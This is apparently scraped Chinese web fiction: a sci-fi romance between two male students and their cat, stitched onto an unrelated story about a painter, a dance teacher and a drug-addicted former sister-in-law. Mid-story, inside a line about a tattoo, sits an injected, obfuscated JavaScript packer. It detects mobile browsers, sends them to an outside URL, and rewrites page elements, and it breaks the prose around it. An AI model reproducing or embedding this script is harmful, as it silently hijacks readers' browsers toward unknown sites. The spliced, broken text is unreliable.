韩明肃耳尖泛红,手里却稳准狠地扣下计时器:“补考失败。你从入侵厨房到实施骚扰,总计干扰我晨间计划7分32秒。”他掰开柯霄的手,将一袋吐司精准投进对方怀里,“今日早餐:边缘碳化的面包,和肇事者一起禁闭在阳台。” 柯霄啃着焦面包看韩明肃优雅切培根,突然笑出声:“会长,你刀工这么好…”他隔着玻璃门比划切肉动作,“…以后肢解我是不是也这么利落?” 韩明肃刀尖一顿。 阳光穿过柯霄乱翘的发梢,在他锁骨位置的「HMS = Home」纹身上跳跃。 “肢解需要解剖学知识。”韩明肃垂眸将煎蛋摆成太阳系模型,“我预约了下学期的医学院公开课。” 柯霄被牛奶呛得惊天动地。 ——他家会长用最正经的语气开最野的腔。 --- 午休观测站 | 猫是恒量的质检员 当柯霄第N次偷捏韩明肃后颈被TOM抓现行时,终于承认这只胖猫是系统派来的监工。 “喵嗷!” TOM一爪拍开柯霄摸向韩明肃腰的手,尾巴炸成鸡毛掸子。 韩明肃从竞赛题里抬头:“它比你懂《共生守则》第3条——学习时间禁止肢体骚扰。”他挠挠猫下巴,TOM立刻翻出肚皮呼噜震天。 柯霄眯眼拎起猫后颈:“小胖子,忘了谁给你罐头了?” 猫牌「TOM 1.13kg」晃了晃,他忽然愣住:“…它是不是瘦了?” 韩明肃笔尖不停:“从1.25kg减到1.13kg,符合系统健康监测标准。”他推过一张《减重计划表》,每日运动栏赫然写着:「监督柯霄晨跑(附加抗阻训练)」 “所以你遛猫是假,遛我才是真?!” “双变量优化实验。”韩明肃把挣扎的柯霄按回座位,“以及,你吵到我推导虫洞模型了。” 纸页上是复杂公式,却被柯霄一眼捕捉到边缘的涂鸦——两个牵手小人头顶标注:「KISS-HMS 恒坐标」,下方还有行小字:「虫洞跳跃第一定律:落点必在对方唇上」。 柯霄猛地抽走稿纸:“韩明肃同学,早恋还搞科幻,罪加一等!” 笔尖在拉扯中划出长痕,稿纸撕裂的瞬间,韩明肃突然倾身吻住他。 蝉鸣骤歇。 TOM的尾巴僵在半空。 “…虫洞实验成功。”韩明肃撤离时指尖擦过自己唇瓣,“落点误差零毫米。” 稿纸飘然落地,裂痕正好穿过两个小人的心口。 像一道温柔的缝合线。 --- 家长会核爆 | 纹身是引信 韩明肃父亲推开家门时,柯霄正赤膊给沙发换套。锁骨下那行「HMS = Home」墨蓝纹身,在玄关射灯下嚣张毕现。 空气凝固成冰。 “解释。”韩父的公文包砸在茶几上,震得TOM钻到沙发底。 韩明肃平静地递过毛巾:“柯霄,我的人生恒量。” “恒量?”韩父冷笑扯开儿子衣领——同样的位置,赫然纹着对称的「KISS = ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353448|183594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' Singularity」(奇点)! “你们俩!互纹对方名字?!”韩父的怒吼掀翻屋顶,“韩明肃!你的保送资格!你的未来!” 柯霄默默套上T恤,遮住纹身前最后看了韩明肃一眼。那眼神韩明肃懂:我走,你留下。 但韩明肃攥住了他手腕。 “父亲,”他声音稳得像手术刀划开皮肉,“您七年前把情妇名字纹在肋骨时,考虑过未来吗?” 死寂。 韩父的脸瞬间灰败。 柯霄惊愕地看向韩明肃,却见对方从抽屉抽出一张照片:年轻时的韩父搂着女人,肋骨位置的纹身被红圈标出「Luna」。 “母亲葬礼后第三天拍的。”韩明肃把照片推过去,“需要我解释热转印纹身和激光清洗的价格差异吗?” 韩父踉跄跌坐。 柯霄突然抓起韩明肃的手按在自己纹身上,心跳隔着皮肉撞进对方掌心。 “叔叔,”柯霄咧嘴一笑,眼眶却是红的,“我俩的纹身…洗不掉。” 他抓起水果刀往纹身比划,“除非把这块皮剜了——您要试试?” 韩父仓皇逃离的背影被夕阳拉长,像条溃败的狗。 关门声余震中,韩明肃突然将柯霄抵在墙上。 没有吻,只是额头相抵,呼吸交缠。 “怕吗?”柯霄哑声问。 “奇点爆发前…”韩明肃咬他喉结,“…引力是唯一的常量。” --- 暴雨重置键 | 在私奔地点说爱你 台风过境的暴雨夜,韩明肃在“TRAVEL”旅行社旧址找到柯霄时,对方正蜷在残破的广告牌下喝酒。 “来抓我?”柯霄把酒瓶抛给他,“纹身的事我认栽,但别想分手——” 韩明肃直接灌了口酒,揪住他衣领吻上去。 威士忌的辛辣在唇齿间烧灼,混着雨水的咸涩。 “私奔吧。”韩明肃喘息着咬他下唇,“就现在。” 柯霄瞳孔骤缩。 暴雨冲刷着三年前他爬出的火场废墟,而此刻韩明肃的眼睛比当年的火焰更烫。 摩托车冲破雨幕时,柯霄在后座搂紧韩明肃的腰。 “去哪?!”他喊。 “虫洞尽头!”韩明肃的回应散在风里。 海岸公路尽头,灯塔在暴雨中射穿混沌。 韩明肃甩掉头盔,湿发贴在额角:“柯霄,你记不记得物理书上说——” 他忽然将柯霄的手按在自己心口纹身处,“…奇点是时空曲率无限大的点。” 心跳在两人相贴的掌心间共振。 “所以呢?!”柯霄吼得比浪声更响。 韩明肃笑着吻他: “所以,你在我心里造了个黑洞——” “所有规则、计划、光…包括我,都逃不出你的引力场。” 摩托轰鸣被涛声吞没。 柯霄摸出始终藏在口袋的绒布盒——里面不是戒指,而是用熔化的「CO」徽章重塑的金属环,内侧刻着「KISS-HMS Singularity」。 他将其套上韩明肃无名指: “那就在黑洞里…” “…纠缠到宇宙坍缩。” 奇点永劫 毕业季断层 | 1.13kg的时空曲率 韩明肃的保送录取书和柯霄的体能特招书摊在桌上,像两道裂开的地缝——北京到广州,2137公里。 “每日三次KISS疗程改为视频通话。”韩明肃面无表情敲键盘,“异地协议第1条:不准在镜头外……” 话没说完,屏幕里的柯霄突然放大嘴唇特写:“亲不到,看看总行吧?” 蹲在键盘上的TOM甩了甩尾巴,项圈「TOM 1.13kg」反着冷光。韩明肃把它拎上电子秤——1.14kg。 “超重0.01kg。”韩明肃眯眼盯向镜头,“你偷喂了冻干?” 柯霄心虚地移开视线:“…它蹭我视频装可怜!” 当晚韩明肃更新《恒量系统日志》: 「观测样本KISS:出现远程投喂作弊行为(能量守恒定律失效)」 「解决方案:启动奇点计划β」 猫对此一无所知,正奋力扒拉柯霄寄来的新玩具——印着「TRAVEL」的太空舱猫窝。 --- 虫洞快递 | 肋骨是第二收件地址 异地第47天,柯霄在更衣室收到一管冰凉的膏体。 没有标签,只打印着:「HMS恒量快递·签收部位:左侧第四肋骨」 他鬼使神差地涂在旧伤疤上。 三分钟后,纹身「HMS = Home」突然发烫,韩明肃的声音直接炸在脑颅里: “测试。柯霄,听到就呼吸两次。” 柯霄猛吸口气。 “很好。”韩明肃的思维信号带着电流质感,“利用疤痕组织的纳米金属残留构建神经传导——你的旧伤疤是天然接收器。” 柯霄捂着肋骨骂脏话:“韩明肃!你拿老子当实验田?!” “纠正:是共生田。”脑内声音毫无波澜,“现在汇报你今早餐谱,我要计算碳基摄入偏差值。” 柯霄盯着手里啃一半的辣条,突然抓起矿泉水狂灌。 “青菜粥,白煮蛋。”他面不改色撒谎。 韩明肃冷笑:“脑电波测谎显示你在摄入工业辣味剂——今晚加跑三公里。” 更衣室门被队友撞开:“霄哥!你对着衣柜傻笑啥?” 柯霄捂住发烫的肋骨纹身。 那里传来韩明肃极轻的叹息: “…我也想你。” --- 保送劫 | 猫毛过敏原是密钥** 韩父的报复裹着教育局红头文件砸下时,韩明肃刚结束国际物理峰会答辩。 “有人举报你高中勾结黑客。”系主任将文件推过桌面,“保送资格暂停审查。” 会议室落地窗映出韩明肃毫无波澜的脸:“证据链第三页,所谓‘受贿资金’的收款账户——”他点开手机银行流水,“是贵校流浪猫救助基金,收款方为‘TOM 1.13kg后援会’。” 系主任愕然翻页,果然看见账户名:Tomcat Fund “家猫TOM的绝育费、疫苗费都来自该账户。”韩明肃调出宠物医院账单,“至于黑客指控…”他忽然解开衬衫纽扣—— 锁骨下「KISS = Singularity」的纹身旁,贴着电极片。 “我的‘共谋者’正通过伤疤神经链实时传输自证视频。”韩明肃敲敲肋骨。 屏幕猛然弹出柯霄的实时画面:他正举着手机狂奔在广州暴雨中,镜头对准体校荣誉墙——上面清楚显示三年前「少年消防英雄」的表彰照片。 “举报视频是P的!”柯霄的怒吼混着雨声从韩明肃体内传出,“原视频里我裤腿有血,P图者却涂掉了!” 系主任瞠目结舌:“这…这传输技术…” “民间科学爱好。”韩明肃扣回衣领,“现在,能聊我的‘量子纠缠毕业设计’了吗?” --- 暴瘦奇点 | 当猫减掉0.01kg 柯霄接到韩明肃失联警报时,TOM正绝食抗议减肥餐。 “他最后定位在‘DEFINITE’物理实验室?”柯霄对着脑内通讯吼,“心跳频率为什么显示零?!” 「系统应答:恒量伴侣生命体征消失,启动奇点计划最终阶段」 「条件检测:能量源TOM体重降至1.12kg(-0.01kg),符合虫洞开启阈值」 柯霄抓起猫冲向顶楼天台。 暴雨如注,TOM项圈突然迸发蓝光,身体悬浮半空!项圈「1.12kg」数字疯狂闪烁,最后炸成星尘。 “胖崽子…”柯霄红着眼把脸埋进猫毛,“…回去给你买一吨罐头。” 蓝光吞没视野的瞬间,他听见韩明肃微弱的脑电波: 「…奇点坐标锁定。」 --- 黑洞婚礼 | 所有宇宙在此接吻 韩明肃在强子对撞机故障的爆裂白光中睁开眼时,正跌向柯霄的怀抱。 “抓到你了。”柯霄的泪砸在他后颈,“你他妈敢在黑洞边上搞实验?!” 韩明肃咳嗽着指向远处——环形实验装置中央,微型黑洞正在蒸发。而他们被包裹在球形防护屏障里,脚下漂浮着「DEFINITE」研究所的废墟。 “不是实验…”韩明肃擦去他脸上的泪,“是婚礼。” 柯霄愣住。 韩明肃按下腕表,防护罩突然透明化。 霎时宇宙星光奔涌而入,银河像婚纱般披在两人肩头。而黑洞视界边缘,无数量子泡沫正幻化成熟悉的身影—— 初中翻墙的柯霄与演讲的韩明肃在火光中对视; 暴雨天旅行社门口,两个少年浑身湿透却十指紧扣; 甚至还有白发苍苍的他们,在猫爬架上挂着「TOM 1.13kg」金属牌的庭院里接吻… “这是…”柯霄声音发颤。 “所有时间线上的我们。”韩明肃举起左手——无名指上熔铸的「CO」指环正在发光,“黑洞蒸发时,所有平行宇宙的奇点会短暂重叠。” 他吻上柯霄的唇。 防护罩碎裂! 两人坠向沸腾的星云,在失重中撕扯对方衣物。柯霄咬着他锁骨下的纹身低吼:“戒指!该交换了!” 韩明肃笑着将「CO」指环推进他手指。 指环内侧的「KISS-HMS Singularity」接触皮肤的刹那,无数宇宙的记忆洪流冲垮神经—— 三百二十七个平行世界里,他们都在相爱。 --- 1.13kg的永恒锚点 韩明肃在猫咪的踩奶中醒来。 晨光透过「TRAVEL」招牌改造的猫爬架,落在怀中人锁骨结痂的咬痕上。柯霄搂着他睡得正熟,无名指套着那枚星尘斑驳的「CO」指环。 电子秤发出滴声: 「TOM:1.13kg」 怀里的柯霄突然闭着眼嘟囔:“…这斤两够开几次虫洞?” 韩明肃吻他睡翘的发梢: “够我们逃去任何宇宙度蜜月。” 床头柜上,两所大学的休学申请叠在一起。 盖章栏批注: 「依据《奇点永劫法案》:相爱的灵魂享有豁免权」 「执行者:所有时空的星光」 【正文完】↓番外 宇宙级售后:KISS BREAK 虫洞旅行的第一站是开普勒22b星云。 韩明肃在粉紫色大气层中调试引力平衡器时,柯霄正被三只透明水母状外星生物追着喷泡泡。 “它们为什么专怼我?!”柯霄扒着飞船舷窗惨叫。 “你吃了它们的共生藻饼干。”韩明肃头也不抬,“根据《星际旅行公约》第7条……” “公约你个头!”柯霄扑过来抢操纵杆,“快开去下个星球!老子的蜜月早餐要泡汤了!” 飞船急转弯撞进陨石带。 保温箱里飘出焦糊味——为纪念初遇特制的「GNDY笑脸煎蛋」,此刻在零重力环境下糊成了抽象派碳画。 --- 1.13kg的虫洞收费站 停泊在鲸鱼座τ星露天餐厅时,TOM的项圈突然响起警报: 「质量波动:1.14kg → 1.12kg」 「虫洞通行费支付中…」 整盘外星烤鱼瞬间消失! “胖崽子!”柯霄捏着猫后颈晃悠,“你付路费用我的菜?!” TOM满足地舔爪,项圈屏幕弹出新通知: 「支付成功!附赠:KISS伴侣特供早餐券×1」 韩明肃盯着兑换券上的「BREAKFAST」字样,忽然拽过柯霄的左手。 无名指上由「CO」徽章熔铸的婚戒微微发烫,戒圈内侧的「KISS-HMS Singularity」正流转星光。 “戒指在记录质量异常。”韩明肃点开全息屏,“它把TOM的体重波动转化成了…” 话没说完,餐厅穹顶突然降下机械臂,将缀满钻石糖霜的煎蛋松饼怼到两人面前。蛋液是滚动的星云,培根竟是酥炸陨石脆片! 柯霄挖起一勺塞进韩明肃嘴里:“尝尝!老子的婚戒变现的!” 糖霜在舌尖炸成烟花时,韩明肃的脚在桌下勾住柯霄的小腿: “…售后不错。” --- 全宇宙都在直播接吻 问题出在仙女星系的网红打卡点。 当柯霄把韩明肃按在「永恒玫瑰星云」前接吻时,没注意背景里漂浮的直播镜头——属于某外星收视率最高的婚恋节目《爱在奇点爆炸前》。 当晚全宇宙热搜: #碳基生命体唇齿交互能量可视化# #论人类雄性纠缠舌头的十二种角度# 韩明肃冷脸关掉飞船智脑:“你的唾液酶分布数据正在被三体人分析。” 柯霄却叼着营养剂凑近:“那再提供点样本?” 突然,舱壁伸出机械触手将两人捆成面对面! 「检测到高浓度费洛蒙」 「启动《恒量系统》应急方案:强制KISS BREAK」 在汤姆猫看戏的圆眼睛里,两人被触手卷着撞向对方嘴唇。韩明肃在接吻间隙骂:“…你改装的破系统!” 柯霄笑着舔走他唇角的银丝:“蜜月特别服务,买一赠百…” 窗外掠过巨型广告屏,正循环播放他们接吻的全息影像,广告词闪烁: 「想拥有同款火热纠缠?快订阅KISS-HMS引力通道!] 韩明肃狠狠咬他肩膀: “今晚你睡虫洞厕所。” --- 早餐外交事件 降落在瓦肯星进行补给时,柯霄犯了个宇宙级错误—— 他把韩明肃特制的「DEFINITE营养粥」分享给了瓦肯首相。 三分钟后,首相在国宴厅抽搐倒地,耳尖泛起诡异桃红。 医疗队检测报告:「地球谷物引发瓦肯人初恋荷尔蒙紊乱」 “粥里有什么?!”外交官刀刃抵住柯霄喉咙。 韩明肃淡定调出食谱:“燕麦、薏仁、以及…”他瞥了眼柯霄,“…某人的恒量标记提取液。” 全场死寂。 柯霄猛然想起今早韩明肃抽了他一管血:“你拿老子的DNA煮粥?!” “《共生守则》第101条,”韩明肃将抽搐的首相扶上医疗舱,“伴侣基因片段可作调味剂。” 他忽然压低嗓音,“…只是没想到对瓦肯人有催情效果。” 最终事件以柯霄“献血”一升制作解药告终。 返航时韩明肃揉着他抽血的胳膊:“疼?” 柯霄反手扣住他后颈:“比不过你拿我下粥的刺激…” 飞船跃迁的蓝光中,偷喝粥渣的TOM项圈再度闪烁: 「质量:1.13kg」 「宇宙八卦头条生成中:《地球夫夫靠□□征服星际》」 --- 【番外彩蛋】 《蜜月飞船日志》摘录 - 投诉栏(韩明肃填写) 「样本KISS多次触发舰体震动警报 建议:安装防震装置或禁欲锁」 批复(柯霄手写): 「驳回!震源是你抓我背的手」 - 表扬栏(柯霄填写) 「韩明肃舰长在厨余垃圾站开发新体位 建议:授予‘黑洞探索者’勋章」 批复(韩明肃手写): 「删除记录,否则今晚你当垃圾被分类」 - TOM的爪印批注 「两脚□□配频率影响猫睡眠 建议:KISS BREAK期间投喂双倍罐头」 15. 花有重开日,伯乐可遇不可求,她说,喵卡喵咖, “小时候我很胖,别人都笑话我练不成芭蕾,中间有几次哭着想过要放弃,可能是我真的不适合跳芭蕾…如果没有我妈妈一路的支持和鼓励,我恐怕就真的放弃了,不过还好我成功了。” 她站在舞台上,台下没有观众,她迎着闭幕前的灯光,向她的爱人献上一舞。 。。。。。。。。。。 “温小姐对于这次采访有何感想?你的下一副新作会比这一次更让我们惊艳吗……”主持人的问题一个接着一个,她都对答如流丝毫没有慌张的神情。 每回答完一个问题,台下都响起了如雷的掌声其中还夹杂着口哨声。 面对镜头和灯光,她对台下的观众甜美一笑,她穿了一件紫色连衣裙,镜头中的她是那么的美丽优雅,如她所创作的每一副画作神圣不可侵犯。 这已经不是她第一次登上节目,也不是第一次面对镜头,不过这次她的目光时不时瞥向观众席角落的位置。 采访逐渐接近尾声,所有人以为快要结束的时候,最最精彩的转折点来了。 “尽管这样很唐突,但我还是想在这里替观众朋友们斗胆问一下,温小姐现在有对象吗?”主持人满怀期待的眼神,他也不想突然问关于别人的隐私问题。 如果每个节目的提问都过于老套复制化没有创新,自然也就没什么看点,收视率低是有原因的。 怀着忐忑不安的心情,他害怕她拒绝回答,那丢人的可就是节目组了。 “有啊。”万万没想到的她坦诚的回答了主持人的问题,脸上洋溢着笑容,镜头对准她来了一个特写。 有人仿佛嗅到了狗粮的味道。 “女神恋爱了,yé青结…” “楼上加一,失恋了…” “没爱了,女神都有对象了,我还没有…” “『哭脸』『哭脸』” ……… 节目是现场直播,观看直播的人不在少数,绝大多数是她的粉丝,在听到她的回答后,弹幕上密密麻麻都是心碎的声音。 “那么在这里就先提前祝福温小姐,温小姐能跟我们讲讲你的爱人是什么样的人吗?” 空气中弥漫着尴尬的气息,既然都说到了这一步,主持人想也没想就把话接下去,很明显他这是给节目组找难受。 “一个非常有趣也令我头疼的笨蛋,一个值得我去学习的人,在我心里她是无敌的。” 温默颜眼睛里闪着亮光,红霞爬上脸颊,在场气氛弄得她都不好意思继续说下去了,她口中的她的确很了不起。 “女神笑起来的样子把我迷住了…” “女神就算恋爱了还是我的女神!” “女神!女神!…” “弹幕消停会儿,我都看不清女神脸了!” “女神是我的!” “女神是我的,你算老几?” “………” “你爱人有他害怕的东西吗?”主持人在一旁看戏不嫌命大,话赶话就把内心话说了出来。 “噗嗤,主持人真幽默,她是无敌,但也是需要人保护的,她害怕的东西呀…让我想想。” 温默颜被主持人逗笑了,目光扫向观众席,眼中掩饰不住的情意。 “我们很好奇,温小姐爱人害怕的会是什么?” 面对主持人的疑惑,温默颜淡淡一笑,双眸如沉寂的海水在这一刻波涛涌动,她缓缓从位置上站起身来,台下观众目光都聚集在她身上。 温默颜缓缓开口:“她特别怕黑,每当夜晚降临,她喜欢做的一件事就是趴在我身上,挽着我的脖子听我给她讲故事。 这样的她像个孩子,见她笑的时候我也很开心。” 面对镜头,眼中的温柔尽数给了观众席中坐着的女人,在心中她是无人能替代的唯一。 听到温默颜的回答,现场安静了片刻,顿时掌声如雷。 “哇,这也太甜了吧!祝女神99…” “不知道什么时候能目睹女神另一半的真容,想知道自己输在了那里,真是羡慕嫉妒恨啊…” “女神的下一副新作会不会是关于她恋爱的吧,感觉心里酸溜溜的…” “楼上有理,无法反驳!” ………弹幕又开始不正经。 这次的采访到这里就圆满结束了。 台下的观众散尽,温默颜没有立马离开。 “温小姐不走吗?” 主持人走到温默颜面前打招呼,他看到人都散得差不多了,温默颜还坐在原地不为所动,感到疑惑。 “你先走吧,我还有一会儿。” “好的,温小姐随意。”等到节目组的人离开后,温默颜才慢慢起身,理了理衣领。 今天这条紫色连衣裙可是江傃念为她挑选的,她很喜欢。 “人都走光了,你还傻站着干嘛,还不回家吗?” 台下的江傃念穿着白裙,手里捧着一束玫瑰,她看着傻呼呼站在台上张望找她身影的温默颜,觉得有点搞笑。 “嘿嘿嘿,这不是在乖乖等小朋友把我接回家嘛,怎么样我的表现不错吧。” 温默颜从台上跳了下来,还好不高,她穿着一双低高跟鞋,若无其事走到江傃念面前,接过她手中的玟瑰,脸上的笑都快收不住了,乐得跟个憨憨一样。 “一般般吧,像你的画一样找不到半分让我满意的地方。 你下次要是再把我怕黑的事拿出来说,小心回去罚你睡沙发。” 江傃念捏了捏她的鼻子,真是让她找不到点挑剔的地方。 “不会的,你怎么舍得罚我睡沙发,那样就没人给你暖被窝了。” 温默颜一只手抱着玫瑰,一只手牵着江傃念。 “哼,那就罚你给我做顿好吃的。” 江傃念嘴上说着气话任凭温默颜牵着,谁叫她舍不得呢。 “好好好,想吃什么我给你做,我的小馋猫。 那我们回家吧,今天天气不好有点凉飕飕的,可别感冒了,回去我给你煮姜茶,不许不喝。” “好吧好吧,可别忘了准备糖果。”江傃念有个习惯,喝完姜茶或者中药的时候要含块糖果。 “好好好,什么都依你。往我靠过来点,你就不会感觉冷了。” 温默颜见没有什么东西落下,带着江傃念直接离开。 也许有人会好奇,看似道不同的两人如何走到了一起…或许缘分就是这么奇妙。 “姑姑!”温柔甜甜的一声姑姑,在兴趣班门外等温柔下课的温默颜心顿时化掉。 “温柔到姑姑这儿来!看姑姑都给你做什么好吃的了。” 温柔穿着练功服朝温默颜冲去。 “姑姑你怎么来了?我就知道爸爸肯定又爽约了,说好今天来接我去吃大餐的…哼!爸爸是不是给忘了今天是我生日!我最讨厌爸爸了,我最喜欢姑姑。” 温默颜抱起温柔,听她向自己倾诉苦水,见她小脸一皱,温默颜晃了晃手里的粉色包装袋。 “欧耶!姑姑万岁!”温柔开心的叫起来,开心接过温默颜手中的包装袋,看着袋子里装着各式各样的小甜品,温柔没忍住口水都流出来了。 温默颜将温柔放下,从包里掏出纸巾擦掉温柔嘴角的口水。 “真是小馋猫…”温默颜捏了捏温柔肉嘟嘟的脸,手感还挺不错的。 “温柔…”拿起甜品正要大吃特吃的温柔听到身后传来的声音,吓得手里的小蛋糕没拿稳掉在了地上,奶油溅了一地。 “江…江老师,我…我没偷吃,我很听话。 江老师不要不教温柔跳舞…江老师,温柔没有乱吃东西。” 温柔着急忙慌的将全部东西一股脑推到温默颜怀里,表情急得都快哭了,温默颜有点懵…抬头看向温柔身后,一个身材高挑的女人,挽着丸子头,头发乌黑发亮,脸上不施粉黛…皮肤白里透红,一双好看的桃花眼宛如一潭汪池让人深陷其中,一颗泪痣点缀的恰到好处。 “你是…”温默颜开口询问。 “自我介绍一下,我是温柔的老师,姓江。 你是温柔的家长吧…温柔底子不错,假以时日定能让人惊艳。 不过需要控制一下她的体重,不能任由她性子胡来,毕竟这些东西还是少吃一点为好。” 江傃念捡起掉到地上的小蛋糕。好好的一块小蛋糕变得面目全非,江傃念将蛋糕扔进垃圾桶,目光看向温柔。 “其实…”温默颜想争辩一下什么就被温柔打断了。 “姑姑…我们回家吧。” 温柔躲到温默颜身后,轻轻扯了一下温默颜的衣角,小小声的说。 温默颜也不再说什么。 “谢谢江老师的提醒,我记住了,温柔还得劳烦江老师多多教导。 就不多做打扰,我还有工作要解决,我们先回去了,温柔跟江老师说再见。” 温默颜把温柔牵过来,温柔拉着温默颜目光不敢看向江傃念。 “江…江老师,明天再见。” 江傃念点点头,目送温默颜温柔两人离开。 江傃念低头看着指尖上的奶油,鬼使神差的舔了一下沾有奶油指尖…甜甜的味道直钻心扉。 “令让人难忘的味道。” 等江傃念回过神,发现自己光天化日之下竟然在翻垃圾桶!!找那块小蛋糕!! “一块小蛋糕至于吗?江傃念呀江傃念,你是没吃过还是饿狗遇到shǐ都觉得香。”觉得自己蠢到家了,江傃念好想给自己两耳光清醒清醒。 不过真的好好吃QAQ。 温默颜准备带温柔去吃大餐,温柔拿着甜品开心的吃着,这是温默颜特意制作的,完全不用担心吃了会发胖,影响她练舞。 温默颜打到车,抱起准备温柔上车,身后传来了一声:“温柔…”。 这声温柔打破了所有的宁静,让温默颜炸毛,不用猜她知道是谁。 “妈妈!姑姑妈妈来了…” 温柔嘴里吃着东西,说话不算很清楚,瞧她激动的样子应该是好久没见过了。 温默颜抱着温柔僵在原地,愣了片刻,对的士司机说:“师傅对不住,我们不坐了。” 司机也不知道是什么情况,嘴里嘀咕了一句,驾车离开,温默颜将温柔放下,牵着温柔看着站在她们身后的女人。 一脸憔悴的模样,以前那一头乌黑秀发现在跟枯草没什么区别,那双泪汪汪的大眼没了光,脸色有点白,涂着鲜红的口红,穿着齐脚踝的白色连衣裙,打扮的就像当时哥哥第一次带她回家的样子,不过那只是过去。 她提着个蛋糕。 “默颜,你是来接温柔的吗?”女人痴痴的望向温默颜,她的眼神让温默颜很不舒服。 “嗯,我哥让我接温柔回家,他最近出差,温柔这两天住在我家。” 温默颜看着眼前哥哥曾经的妻子,温柔的妈妈,她以前的嫂子…说可怜她算不上。 “妈妈,你是来接温柔去玩的吗?爸爸怎么不和你一起?妈妈我好想你…为什么这么久都不来看看温柔。 今天是温柔的生日,我的愿望是希望爸爸妈妈带温柔一起去游乐场。” 温柔朝那个女人走去,眼里早已蓄满了泪水,却被温默颜一把拉住。 女人不傻,她看得出来。 “温柔…妈妈对不起你,是妈妈不好。以后你要乖乖听说,好好学习成为妈妈的骄傲。” 她多想上前摸摸自己女儿的脸再抱抱她,想听她说学校里面发生的趣事,温默颜挡在两人中间,如同一座大山隔断她们母女的视线。 “苏轻曼,我提醒你!温柔和你没关系了,你和我哥哥已经离婚了。 如果当初你不碰那害人的东西,也就不会有今天的下场。 你忘了吗?是你差点害了温柔!还有你和我哥当初签下的协议…保证不会出现在温柔面前。 你根本就不配做温柔的母亲,这些过去种种难道你都忘了吗!” 温默颜挡在温柔和苏轻曼的中间,看着得寸进尺的苏轻曼,她想自己有必要提醒一下。 苏轻曼伸过去手顿住,神色慌张不知道该往哪儿躲藏,她愧疚的看向温默颜身后的温柔… “苏轻曼,你疯了吗?你竟然吸dú,什么时候染上的,告诉我!说! 你有考虑过我,考虑温柔吗?想过我们的以后吗?” 面对丈夫的质问,苏轻曼不知该从何说起,表面上答应会戒掉,可是她早已离不开这东西了。 “苏轻曼!你干什么!那可是我们的女儿!” “你把温柔还给我…先把刀放下!啊…” 记得最严重的那次犯瘾,意识很混乱,感觉有人要害她。 她拉过才三岁不到的温柔去厨房拿出水果刀,面对女儿的哭喊,她无动于衷将温柔拖到阳台准备动手时…温柔的哭声引来了丈夫。 看着丈夫失落的眼神和他苦苦哀求声,苏轻曼感到异常的兴奋,在她手起刀落的一瞬,温柔被丈夫抢去护住,自己却实实挨了她这一刀,鲜红的血液刺激到她,她看了看手上的刀…看了看丈夫往外冒血的伤口,又看了看他怀中大哭的女儿…苏轻曼像犯了错的孩子,刀掉到地上,风吹起阳台的帘子飘起来像折翼的蝴蝶渴望飞舞,苏轻曼从阳台翻窗了跳下去…那可是4楼。 她没有死但也为此付出代价失去了一条腿。 这个代价让她清醒,她失去了令人羡慕的家庭…引以为傲的事业,她以后再也不能在灯光照耀下的舞台翩翩起舞,这个代价实在是太沉重。 记忆深处封藏的不堪往事被唤醒,苏轻曼像被人扒=光衣=服丢在大庭广众之下,任人唾弃指责。 没有人能救得了她,也没有人会问她为什么走到今天这一地步,她太累了,真的很累。 “对不起…对不起…” “温柔对不起,妈妈不是好妈妈,你千万不要怪妈妈。 默颜,我真的知道错了,在戒dú所跟你哥哥签下离婚协议的那一刻我就后悔了。 今天是温柔的生日,等我给她过完这个生日,我会离开,你看可以吗?” 苏轻曼用哀求的语气,如果另一条腿还健全,恐怕她会直接跪下去,她没了以前的高傲,那股高傲劲从她吸dú的第一口起就消失殆尽。 温默颜看着卑微至极的苏轻曼,她想带温柔离开,温柔摆脱她扑向苏轻曼。 “温柔过来。”温默颜不想发火。 “姑姑,你看妈妈都哭了,我相信妈妈真的改了。 你们还把我当三岁小孩看吗?其实我都知道…妈妈已经够可怜了,现在她只有温柔了。” 温柔泪水止不住的掉下来,苏轻曼弯下腰为温柔擦去眼泪。 “温柔,你要坚强,不能老哭鼻子,爸爸和妈妈都希望温柔快快乐乐长大。 姑姑那是为了温柔好,温柔要听话妈妈才会开心。” 苏轻曼刮了刮温柔的小鼻子,对她笑了笑。 “妈妈别走好不好,我让爸爸接你回家。” 温柔双手环住苏轻曼的腰,苏轻曼拍了拍她的背,没有说话。 “行了行了,谁叫我欠温柔的,走吧。” 温默颜招停下的士,回头看着抱在一起的两人,提着东西上车坐在副驾,苏轻曼抱着温柔坐在后面。 “默颜谢谢你…”苏轻曼小声对温默颜说了句感谢。 “不用对我说谢谢,我不是在帮你,只想让温柔好好过这次生日。” 温默颜通过后视镜看着后座笑容灿烂的温柔,这一切很值得。 “姑姑我想吃东街那家水煮魚还能免费喝果汁呢。等吃完妈妈和姑姑带我去游乐场玩好不好。” 温柔转头看着车窗外一闪而过的景色。 “好好好…”两人异口同声,温默颜怔住,苏轻曼也愣住,温柔捂嘴在那儿笑。 等她们从游乐场出来的时候天色已经暗了,温柔一手拿着气球,另只手拿着刚买的甜筒,开心的围着苏轻曼和温默颜转圈。 “默颜谢谢你,让我有机会陪温柔过这生日,你看她笑的多开心,她在学跳舞了吧,看来你哥哥没有忘。” 苏轻曼看向温柔,眼里的宠溺藏不住的,提到跳舞的时候她下意识看了看自己废掉的腿,虽然戴着义肢看着与正常人无疑,但在生活中也有不便的地方。 “哦,这个我不清楚,我哥决定的事我不会过问。 你不用谢我,你没有做对不起我的事,从你伤了我哥那天起,你在我心里不在是当年哥哥带回家的那个善良大姐姐了。” “对不起…”苏轻曼低下头,她知道自己实在是太过分了。 “没什么事的话,我先带温柔回去了,你请自便。” 温默颜叫住温柔替她整理好衣服。 “温柔该说再见了。” “姑姑,妈妈不跟我们一起回去吗?”温柔委屈的看向温默颜。 温默颜没说话摇了摇头。 “妈妈,你不跟我们走吗?” 温柔看着一旁的苏轻曼,苏轻曼也摇摇头。 温默颜牵着温柔离开,温柔一步一回头,眼神中的不舍深深刺痛苏轻曼的心,她什么也做不了,看着两人离开的背影捂着嘴小声抽泣。 